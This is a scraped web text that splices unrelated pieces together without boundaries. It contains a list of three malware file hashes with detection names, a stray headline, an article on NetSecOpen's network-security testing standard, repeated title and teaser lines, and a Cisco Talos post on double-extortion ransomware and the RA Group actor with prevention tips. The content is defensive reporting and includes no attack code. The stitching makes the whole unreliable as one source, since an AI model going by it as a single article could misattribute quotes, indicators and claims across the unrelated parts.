**SHA 256:** a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91    
**MD5:** 7bdbd180c081fa63ca94f9c22c457376  
**Typical Filename:** c0dwjdi6a.dll  
**Claimed Product:** N/A    
**Detection Name:** Trojan.GenericKD.33515991

**SHA 256:** 7bf7550ae929d6fea87140ab70e6444250581c87a990e74c1cd7f0df5661575b  
**MD5:** f5e908f1fac5f98ec63e3ec355ef6279  
**Typical Filename:** IMG001.exe  
**Claimed Product:** N/A  
**Detection Name:** Win.Dropper.Coinminer::tpd

**SHA 256:** e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934  
**MD5:** 93fefc3e88ffb78abb36365fa5cf857c  
**Typical Filename:** Wextract  
**Claimed Product:** Internet Explorer  
**Detection Name:** PUA.Win.Trojan.Generic::85.lp.ret.sbx.tg

URLs have always been a great hiding place for threat actors

NetSecOpen recently released a new draft of its testing and benchmarking guide, which could be adopted later this year.

Despite slow progress, NetSecOpen — a group of network security companies and hardware testing organizations — aims to have its testing and benchmark standards in place by later this year.

The group published the latest version of its network security testing standard for next-generation firewall technology in May to gather feedback as the group moves toward a final version. The end result will be a consensus method for testing and benchmarking network security appliances that allows comparisons of different vendors' devices, even if they are evaluated by different third parties, says Brian Monkman, executive director of NetSecOpen.

"What we're working on accomplishing here is something that's never been done — setting up standard test requirements that can be executed by multiple labs using different test tools and getting comparable results," he says. "It's something analogous to when the miles per gallon ... had different approaches and ... they tested things differently and so they forced the creation of a standard. That's kind of what we're doing here."

Established in 2017, NetSecOpen aims to ease the tension between product makers and test labs, which have occasionally become rancorous. Members include large network security firms — including Cisco Systems, Fortinet, Palo Alto Networks, and WatchGuard — as well as testing equipment makers, such as Spirent and Ixia, and evaluators, such as the European Advanced Networking Test Center (EANTC) and the University of New Hampshire InterOperability Laboratory (UNH-IOL).

While the latest standards document is published as part of the Internet Engineering Task Force (IETF) process, the eventual guidelines will not be an Internet standard to which equipment makers must adhere, but a common approach to testing methodology and configurations that improve the reproducibility and transparency of resulting tests.

The current testing standards for firewalls published by the IETF (RFC3511) are 20 years old, and the technology has changed dramatically, NetSecOpen stated in its draft (RFC9411).

"Security function implementations have evolved and diversified into intrusion detection and prevention, threat management, analysis of encrypted traffic, and more," the draft states. "In an industry of growing importance, well-defined and reproducible key performance indicators (KPIs) are increasingly needed to enable fair and reasonable comparisons of network security functions."

**Real-World Test Cases**

The NetSecOpen tests aim to use real-world data to pit the latest network security appliances against realistic network loads and security threats. The attack traffic test set, for example, brings together common vulnerabilities that have been used by attackers in the past decade.

The NetSecOpen draft recommends specific test architectures, traffic mixes between IPv4 and IPv6, and enabled security features. However, other aspects of testing include required elements, such as the capabilities of emulated browsers, attack traffic that targets a specific subset of known exploitable vulnerabilities, and tests of a variety of throughput performances, such as application traffic, HTTPS requests, and quick UDP Internet connections (QUIC) protocol requests.

Network security firm Palo Alto Network, a founding member of NetSecOpen, actively collaborates with NetSecOpen to "create the tests and actively participate in testing our firewalls using those tests," says Samaresh Nair, director of product line management at Palo Alto Networks.

"The testing process is ... standardized with accredited test houses," he says. "Customers can use it to evaluate various products with standardized results tested similarly."

The vulnerabilities test sets are in the process of being updated because the Cybersecurity and Infrastructure Security Agency (CISA) demonstrated that smaller, noncritical vulnerabilities can be strung together into effective attacks. The organizations had previously dismissed many of those vulnerabilities as a lesser threat, but attack chain data CISA collected show that attackers will adapt.

"There's definitely a class of CVEs out there that we, in the past, would have ignored, and we need to pay attention to those simply because vulnerabilities are being strung together," NetSecOpen's Monkman says. "That's going to be really the biggest challenge that we have because the CISA KEV vulnerability list might grow."

**Cloud Up Next**

In addition to new mixes of vulnerabilities — such as those that are currently targeting the education and healthcare sectors — NetSecOpen is looking to include detection of command-and-control channels used by attackers, as well as ways of preventing infection and lateral movement.

Testing the security of cloud environments — such as distributed cloud firewalls and Web application firewalls — is also on the future blueprint, says Chris Brown, technical manager at UNH-IOL, which joined NetSecOpen in 2019.

"Cloud would not change NetSecOPEN’s mission for well-defined, open, and transparent standards, but rather expand the products currently tested," Brown says. "In the foreseeable future, network perimeter defense will still be necessary despite the many benefits of cloud computing."

Network-Security Testing Standard Nears Prime Time

RA Group also introduces a new wrinkle to double extortion attacks: the threat that it will sell the data on the dark web. Double extortion tactics are known for leaking stolen data, but the sale is a potentially new gambit.

Wednesday, June 14, 2023 08:06

It is no longer enough for ransomware actors to encrypt targets’ files, ask for money, and get out.

Over the past several years, these groups are increasingly relying on “double extortion” tactics to try and coax their victims into paying the requested ransom, or else they will leak stolen data to the internet.

In double extortion ransomware attacks, actors perform traditional ransomware actions of encrypting files and folders on a target’s machine. They leave behind a ransom note asking for a certain amount of money, in exchange for a decryption key that can return the target’s network and hardware back to normal working order.

Of course, there is never any guarantee that this decryption key will work appropriately, so Talos recommends several other ransomware mitigation methods to ensure backups are in place to help an organization recover quickly if they are hit with a ransomware attack.

Actors who use double extortion take this a step further, threatening to leak the target’s data to the public and on the dark web if the ransom is not paid. For some organizations, this puts troves of potentially sensitive data at risk of becoming public information, such as personally identifiable information (PII) or financial information that other bad actors may use in follow-on attacks or to steal someone’s identity.

**What is the end goal of double extortion attacks?**

Ransomware actors hope that by adding on the extra layer of pressure, it makes victims more likely to pay the requested ransom rather than trying to recover on their own.

Any data leaks could lead to legal troubles for the targeted organization, poor public relations and a loss of customer trust.

At the end of the day, ransomware groups are motivated by money. They will do whatever they can to make it more likely for the victim to pay up.

These groups are also increasingly embracing communication with victims to potentially negotiate payment and provide additional pressure on o the victim. Nick Biasini, the head of Talos Outreach, recently discussed these tactics in an episode of Talos Takes, where he summed up ransomware groups’ motivations by saying, “You can’t get a payday if you can’t start a conversation...once they have communication, they know they have a victim who’s potentially ready to play ball.”

**Notable example: RA Group**

RA Group, a new ransomware actor Cisco Talos recently discovered, explicitly uses double extortion tactics. It runs an actor-controlled website where it posts a list of possible victims and publicly threatens to publish the data it steals from targets.

RA Group claims to include the organization’s name, a list of stolen data and the file sizes of the data it stole and the URL of the website belonging to the victim organization. The ransom notes the actor leaves behind are customized for the victim and are told they have three days to pay the requested ransom or they risk all the stolen data being made public.

When the three-day mark is reached, RA Group says it will publish “sample files” to prove the legitimacy of its claims. The leak site states that “we will publish documents regularly and all documents will be released within one year.”

RA Group also introduces a new wrinkle to double extortion attacks: the threat that it will sell the data on the dark web. Double extortion tactics are known for leaking stolen data, but the sale is a potentially new gambit.

The group’s leak site is one of the first examples Talos has seen where it publicly threatens to sell the data to other bad actors during that one-year window. It explicitly tells anyone interested in purchasing the data to contact RA Group via qTox, an encrypted instant messaging platform.

This is potentially a new development in the ransomware landscape and a new way for threat actors to generate revenue from a successful attack.

Talos has researched several other threat actors who started using double extortion methods over the past three years, including UNC2447, Vice Society and Silence Group.

**Prevention**

To defend against double-extortion ransomware attacks, users and organizations should follow the classic advice for avoiding ransomware:

*   Using multi-factor authentication protocols such as Cisco Duo can prevent credential stealing, which often provides threat actors with an initial foothold on the targeted system.

*   Cisco Secure Endpoint and other Cisco Secure offerings provide many layers of protection to make any network more resilient. Cisco Secure and Talos have multiple engines, such as Snort, to detect and prevent initial infection, reconnaissance, lateral movement and file encryption.
*   Incident Response playbooks and plans can help all organizations prepare for a ransomware attack and outlines steps to take in the event of an attack. Cisco Talos Incident Response can assist in the creation and updating of these documents.
*   Perform frequent backups of all systems and important files, and verify those backups are stored in a secure, yet accessible, place. Targets of ransomware can restore operations quickly by restoring from a previous state using backups.
*   Provide cybersecurity training to all employees and users to ensure they’re aware of the dangers of various social engineering tactics and common attack vectors for threat actors.
*   For additional advice and information, refer to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) Stop Ransomware website.

Tag

#cisco